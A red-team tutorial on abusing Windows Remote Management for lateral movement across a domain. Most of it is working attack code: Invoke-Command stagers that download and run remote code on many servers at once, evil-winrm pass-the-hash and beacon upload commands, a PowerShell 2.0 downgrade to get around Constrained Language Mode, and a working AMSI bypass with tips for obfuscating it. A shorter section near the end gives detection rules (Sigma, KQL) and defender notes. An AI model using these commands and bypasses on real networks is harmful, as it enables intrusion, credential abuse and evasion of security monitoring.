PSRemoting and WinRM Lateral Movement
Abusing Windows Remote Management (WinRM) for lateral movement: Invoke-Command over HTTPS, evil-winrm credential abuse, AMSI bypass in remote sessions, constrained language mode bypass, and WinRM as a C2 channel pivot
You've compromised a server with domain admin credentials. The target environment is a tier-0 server farm — no SMB file sharing to workstations, DCOM is locked down, but WinRM is enabled everywhere for legitimate IT automation and remote script execution. TCP/5985 (HTTP) and 5986 (HTTPS) are open between servers. You use Invoke-Command with explicit credentials to run a PowerShell stager on 30 servers simultaneously, deploying your pipe beacon on each host in parallel. WinRM generates Event 4688 (wsmprovhost.exe child) and some 4624 logon events — but IT does this all day for patch management, so the pattern blends with normal operations.
WinRM Architecture
PSRemoting — Invoke-Command Patterns
# Basic remote execution
Invoke-Command -ComputerName TARGET01 -ScriptBlock { whoami; hostname }
# With explicit PSCredential (stolen hash or password)
$cred = New-Object PSCredential("corp\admin", (ConvertTo-SecureString "Password1!" -AsPlainText -Force))
Invoke-Command -ComputerName TARGET01 -Credential $cred -ScriptBlock { whoami }
# Multiple targets in parallel
$hosts = @("SRV01","SRV02","SRV03","SRV04","SRV05")
Invoke-Command -ComputerName $hosts -Credential $cred -ThrottleLimit 10 -ScriptBlock {
# Deploy stager on each host simultaneously
$stager = {
IEX ((New-Object Net.WebClient).DownloadString('https://cdn.corp-tools.com/update'))
}
Start-Job -ScriptBlock $stager
}
# Persistent interactive session
$session = New-PSSession -ComputerName TARGET01 -Credential $cred
Enter-PSSession $session
# or: use it for multiple commands
Invoke-Command -Session $session -ScriptBlock { dir C:\Users }
Invoke-Command -Session $session -ScriptBlock { tasklist }
Remove-PSSession $session
# Copy file to remote host via PSRemoting
Copy-Item "C:\payload.exe" -Destination "C:\Windows\Temp\" -ToSession $session
# Over WinRM HTTPS (port 5986)
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck
$session = New-PSSession -ComputerName TARGET01 -Credential $cred `
-UseSSL -SessionOption $sessionOption
Invoke-Command -Session $session -ScriptBlock { whoami }
# impacket from Linux:
evil-winrm -i TARGET01 -u admin -p Password1!
evil-winrm -i TARGET01 -u admin -H ntlmhash # Pass-the-Hash
WinRM Raw API from C
// WinRM C API (WsMan) — execute remote PowerShell command
// Uses WsManCreateSession + WsManOpenShell + WsManRunShellCommand
#include <wsman.h>
#pragma comment(lib, "WsmSvc.lib")
BOOL WinRMExec(const wchar_t* target, const wchar_t* user,
const wchar_t* password, const char* command) {
WSMAN_API_HANDLE hApi = NULL;
WSMAN_SESSION_HANDLE hSession = NULL;
WSMAN_SHELL_HANDLE hShell = NULL;
WSMAN_COMMAND_HANDLE hCmd = NULL;
// Initialize WsMan API
if (WSManInitialize(WSMAN_FLAG_REQUESTED_API_VERSION_1_1, &hApi) != NO_ERROR)
return FALSE;
// Set up credentials
WSMAN_AUTHENTICATION_CREDENTIALS creds = {0};
creds.authenticationMechanism = WSMAN_FLAG_AUTH_NTLM;
creds.userAccount.username = user;
creds.userAccount.password = password;
// Create session to remote host
WCHAR connStr[512] = {0};
swprintf_s(connStr, 512, L"http://%s:5985/wsman", target);
WSManCreateSession(hApi, connStr, 0, &creds, NULL, &hSession);
if (!hSession) goto cleanup;
// Open remote PowerShell shell
WSMAN_SHELL_STARTUP_INFO startupInfo = {0};
startupInfo.inputStreamSet.streamIDs = new const wchar_t*[1]{L"stdin"};
startupInfo.inputStreamSet.streamIDsCount = 1;
startupInfo.outputStreamSet.streamIDs = new const wchar_t*[2]{L"stdout", L"stderr"};
startupInfo.outputStreamSet.streamIDsCount = 2;
WSMAN_OPERATION_HANDLE hOp = NULL;
WSManCreateShell(hSession, 0,
L"http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd",
&startupInfo, NULL, NULL, &hOp);
// ... (async callbacks omitted for brevity — collect hShell from callback)
// Run command
WSMAN_COMMAND_ARG_SET args = {0};
const wchar_t* cmdArgs[] = {L"/c", L"whoami"};
args.args = cmdArgs;
args.argsCount = 2;
WSManRunShellCommand(hShell, 0, L"cmd.exe", &args, NULL, NULL, &hCmd);
// Receive output via WSManReceiveShellOutput, then close
cleanup:
if (hCmd) WSManCloseCommand(hCmd, 0, NULL);
if (hShell) WSManCloseShell(hShell, 0, NULL);
if (hSession) WSManCloseSession(hSession, 0);
if (hApi) WSManDeinitialize(hApi, 0);
return TRUE;
}
evil-winrm Credential Patterns
# evil-winrm: feature-rich WinRM client for red teams
# Basic auth
evil-winrm -i 192.168.1.100 -u administrator -p 'P@ssword123'
# Pass-the-Hash (NTLM hash)
evil-winrm -i 192.168.1.100 -u administrator -H 'fc525c9673cfc2a1c2c48ff13fdbe6d1'
# With SSL (HTTPS/5986)
evil-winrm -i 192.168.1.100 -u admin -p password -S -c cert.pem -k key.pem
# Upload and execute a file
*Evil-WinRM* PS C:\> upload /tmp/beacon.exe C:\Windows\Temp\beacon.exe
*Evil-WinRM* PS C:\> C:\Windows\Temp\beacon.exe
# Load .NET assembly directly in memory (no disk write)
*Evil-WinRM* PS C:\> Invoke-Binary /tmp/SharpHound.exe
# Execute local PS script on remote target (in memory)
evil-winrm -i TARGET01 -u admin -p pass -s /tmp/scripts/ -e /tmp/exes/
Constrained Language Mode Bypass
# Detect if Constrained Language Mode is active
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage = restricted (can't: Add-Type, invoke .NET methods, use COM, etc.)
# FullLanguage = unrestricted
# WinRM sessions on some environments enforce ConstrainedLanguage
# via Just Enough Administration (JEA) or AppLocker/WDAC policy
# Bypass 1: Downgrade to PowerShell 2.0 (no CLM support)
powershell -version 2 -exec bypass -c "iex(New-Object Net.WebClient).DownloadString(...)"
# Bypass 2: Use a PowerShell runspace in a .NET process you control
# CLM applies to the PowerShell engine running under constrained account
# If you can exec arbitrary .NET, you can create your own runspace without CLM
# Bypass 3: Invoke-Bypasses (AMSI + CLM + ScriptBlock logging at once)
# Advanced: overwrite AMSIScanBuffer and ScriptBlockLogging in process memory
# See AMSI bypass section
# Bypass 4: Use compiled C# tool (bypasses PowerShell CLM entirely)
# SharpHound.exe, Rubeus.exe, etc. run outside PowerShell engine
AMSI Bypass in PSRemote Session
# AMSI (Antimalware Scan Interface) scans PowerShell scripts before execution
# Even in remote sessions, AMSI is active on the target wsmprovhost.exe process
# Classic AMSI patch (well-known, detected by most EDRs — shown for education):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Better: base64 encode + split the string to avoid static scan of the bypass itself
$a = [Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=')
$b = [System.Text.Encoding]::UTF8.GetString($a) # "System.Management.Automation.AmsiUtils"
# Memory patch approach (more reliable):
# Find AmsiScanBuffer address in amsi.dll, patch first bytes to return AMSI_RESULT_CLEAN (0x80070057)
# This patches at the native level and survives .NET reflection detection
# PowerShell 5.1+ AMSI bypasses in WinRM:
# - AMSI scans the ScriptBlock before executing
# - Bypass must happen BEFORE the block containing malicious code
# - Solution: send two commands: bypass in first Invoke-Command, payload in second
$session = New-PSSession -ComputerName TARGET01 -Credential $cred
# First: deploy bypass in the remote session context
Invoke-Command -Session $session -ScriptBlock {
# AMSI bypass code (obfuscated)
}
# Second: payload executes after bypass is active in that runspace
Invoke-Command -Session $session -ScriptBlock {
IEX (New-Object Net.WebClient).DownloadString($stagingUrl)
}
Detection Engineering
-- WinRM lateral movement detection
-- 1. Event 4624 LogonType=3 (Network Logon) from unexpected source to WinRM port
-- 2. Process: wsmprovhost.exe (WinRM host process) spawning unexpected children
-- Sigma: suspicious wsmprovhost.exe child process
title: Suspicious WinRM Remote Shell Child Process
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\wsmprovhost.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\net.exe'
- '\whoami.exe'
- '\ipconfig.exe'
filter_admin_hosts:
# Exclude known admin jump servers
ParentCommandLine|contains: 'known-admin-jump.corp.local'
condition: selection AND NOT filter_admin_hosts
level: medium
-- 3. PowerShell ScriptBlock logging (Event 4104): logs decoded PS code
-- Enable: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
-- Even AMSI-bypassed code is logged here (kernel-level, harder to bypass)
-- 4. Transcription logging: records all PS I/O to a text file per session
-- Enable: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
-- 5. Network: connections to 5985/5986 from non-admin workstations or from
-- workstation-to-workstation (lateral) vs expected admin-to-server direction
-- MDE KQL: WinRM lateral movement from workstation-to-workstation
DeviceNetworkEvents
| where RemotePort in (5985, 5986)
| where RemoteIPType == "Private"
| where DeviceName !startswith "JUMP" -- not from jump servers
| where InitiatingProcessFileName == "wsmprovhost.exe" or
InitiatingProcessFileName == "powershell.exe"
| project Timestamp, DeviceName, RemoteIP, RemotePort,
InitiatingProcessFileName, InitiatingProcessCommandLine
Q&A
What is the "double-hop problem" with PSRemoting and how does CredSSP solve it?
The double-hop problem: when you establish a PSRemoting session to Host A using your credentials, and then from within that session try to access a network resource on Host B (e.g., a file share), the attempt fails. This is because the PSRemoting session creates a "network logon" (Type 3) on Host A — a non-interactive logon token that cannot be forwarded to a third machine. The credentials don't travel with the token; Host A has no way to prove to Host B who you are. The result is a "permission denied" accessing \\HostB\share from within the PSRemoting session on Host A. CredSSP (Credential Security Support Provider) solves this by delegating credentials from the client to Host A during the initial connection. Instead of creating a network logon token, CredSSP creates an interactive logon using credentials that are forwarded and temporarily held on Host A. From Host A, outbound connections to Host B can use these forwarded credentials. The significant risk: CredSSP credentials are stored in Host A's memory and can be extracted by an attacker who has admin on Host A (the "CredSSP credential delegation" attack). Microsoft's PSRemoting documentation warns against enabling CredSSP to non-trusted hosts. For defenders: look for CredSSP authentication in WinRM sessions (Event 4624 with CredSSP authentication package), especially to unknown destinations. For attackers: if CredSSP is enabled on a compromised host, stealing credentials from LSASS may yield credentials delegated from IT admins who used CredSSP to reach that host.